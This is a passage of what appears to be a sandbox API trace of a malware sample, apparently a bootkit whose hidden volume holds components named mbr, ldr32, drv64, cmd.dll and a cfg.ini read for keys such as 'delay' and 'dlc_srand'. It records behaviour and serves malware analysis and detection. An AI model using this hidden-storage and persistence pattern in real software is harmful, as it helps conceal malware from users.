_MaxCount=0x10) returned -108 [0120.308] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.308] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.308] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.308] KeLeaveCriticalRegion () [0120.308] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.308] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.308] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.308] KeEnterCriticalRegion () [0120.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.308] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.308] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.308] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.308] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.308] IdePortDispatch () returned 0x103 [0120.308] KeWaitForMutexObject () returned 0x0 [0120.308] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.308] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.308] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.308] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.308] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.308] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.308] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.308] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.308] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.308] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.308] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.308] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.308] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.308] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.308] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.308] KeLeaveCriticalRegion () [0120.308] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.309] ReleaseMutex (hMutex=0x100) returned 1 [0120.309] Sleep (dwMilliseconds=0x2bf20) [0120.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ae9e530, dwHighDateTime=0x1d24fa4)) [0120.321] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.321] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.321] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.321] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.321] KeEnterCriticalRegion () [0120.321] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.321] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.321] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.321] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.321] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.321] IdePortDispatch () returned 0x103 [0120.321] KeWaitForMutexObject () returned 0x0 [0120.321] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.321] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.321] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.321] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.321] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.321] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc820 [0120.321] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.321] KeLeaveCriticalRegion () [0120.321] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.321] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.321] KeEnterCriticalRegion () [0120.321] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.321] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.321] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.321] KeLeaveCriticalRegion () [0120.321] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.321] KeEnterCriticalRegion () [0120.321] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.321] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.321] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.321] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.321] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.321] IdePortDispatch () returned 0x103 [0120.322] KeWaitForMutexObject () returned 0x0 [0120.322] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.322] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.322] KeLeaveCriticalRegion () [0120.322] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.322] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.322] KeEnterCriticalRegion () [0120.322] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.322] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003443000 [0120.322] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.322] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.322] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.322] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.322] IdePortDispatch () returned 0x103 [0120.322] KeWaitForMutexObject () returned 0x0 [0120.322] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.322] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.322] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.322] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.322] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.322] IdePortDispatch () returned 0x103 [0120.322] KeWaitForMutexObject () returned 0x0 [0120.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.323] KeLeaveCriticalRegion () [0120.323] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.323] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.323] KeEnterCriticalRegion () [0120.323] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.323] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.323] KeLeaveCriticalRegion () [0120.323] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.323] KeEnterCriticalRegion () [0120.323] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.323] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.323] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc8e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.323] KeLeaveCriticalRegion () [0120.323] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.323] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.323] KeEnterCriticalRegion () [0120.323] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.323] ExFreePoolWithTag (P=0xfffffa8003bbc820, Tag=0x0) [0120.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.323] KeLeaveCriticalRegion () [0120.323] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.323] ReleaseMutex (hMutex=0xf0) returned 1 [0120.323] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.323] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.324] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.324] KeEnterCriticalRegion () [0120.324] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.324] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.324] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.324] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.324] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.324] IdePortDispatch () returned 0x103 [0120.324] KeWaitForMutexObject () returned 0x0 [0120.324] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.324] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.324] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.324] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.324] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.324] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc390 [0120.324] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.324] KeLeaveCriticalRegion () [0120.324] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.324] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.324] KeEnterCriticalRegion () [0120.324] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.324] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.324] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.324] KeLeaveCriticalRegion () [0120.324] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.324] KeEnterCriticalRegion () [0120.324] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.324] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.324] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.324] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.324] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.324] IdePortDispatch () returned 0x103 [0120.324] KeWaitForMutexObject () returned 0x0 [0120.325] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.325] KeLeaveCriticalRegion () [0120.325] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.325] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.325] KeEnterCriticalRegion () [0120.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.325] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003444000 [0120.325] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.325] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.325] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.325] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.325] IdePortDispatch () returned 0x103 [0120.325] KeWaitForMutexObject () returned 0x0 [0120.325] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.325] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.325] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.325] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.325] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.325] IdePortDispatch () returned 0x103 [0120.325] KeWaitForMutexObject () returned 0x0 [0120.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.325] KeLeaveCriticalRegion () [0120.325] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.326] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.326] KeEnterCriticalRegion () [0120.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.326] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.326] KeLeaveCriticalRegion () [0120.326] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.326] KeEnterCriticalRegion () [0120.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.326] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.326] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.326] KeLeaveCriticalRegion () [0120.326] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.326] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.326] KeEnterCriticalRegion () [0120.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.326] ExFreePoolWithTag (P=0xfffffa8003bbc390, Tag=0x0) [0120.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.326] KeLeaveCriticalRegion () [0120.326] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.326] ReleaseMutex (hMutex=0xf0) returned 1 [0120.326] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.326] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.326] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.326] KeEnterCriticalRegion () [0120.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.326] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.326] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.326] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.326] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.326] IdePortDispatch () returned 0x103 [0120.327] KeWaitForMutexObject () returned 0x0 [0120.327] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.327] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.327] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.327] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.327] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.327] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcfb0 [0120.327] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.327] KeLeaveCriticalRegion () [0120.327] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.327] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.327] KeEnterCriticalRegion () [0120.327] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.327] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.327] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.327] KeLeaveCriticalRegion () [0120.327] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.327] KeEnterCriticalRegion () [0120.327] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.327] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.327] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.327] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.327] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.327] IdePortDispatch () returned 0x103 [0120.327] KeWaitForMutexObject () returned 0x0 [0120.327] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.327] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.327] KeLeaveCriticalRegion () [0120.328] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.328] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.328] KeEnterCriticalRegion () [0120.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.328] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003445000 [0120.328] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.328] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.328] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.328] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.328] IdePortDispatch () returned 0x103 [0120.328] KeWaitForMutexObject () returned 0x0 [0120.328] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.328] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.328] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.328] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.328] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.328] IdePortDispatch () returned 0x103 [0120.328] KeWaitForMutexObject () returned 0x0 [0120.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.328] KeLeaveCriticalRegion () [0120.328] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.329] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.329] KeEnterCriticalRegion () [0120.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.329] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.329] KeLeaveCriticalRegion () [0120.329] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.329] KeEnterCriticalRegion () [0120.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.329] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.329] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbcc70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.329] KeLeaveCriticalRegion () [0120.329] IofCompleteRequest 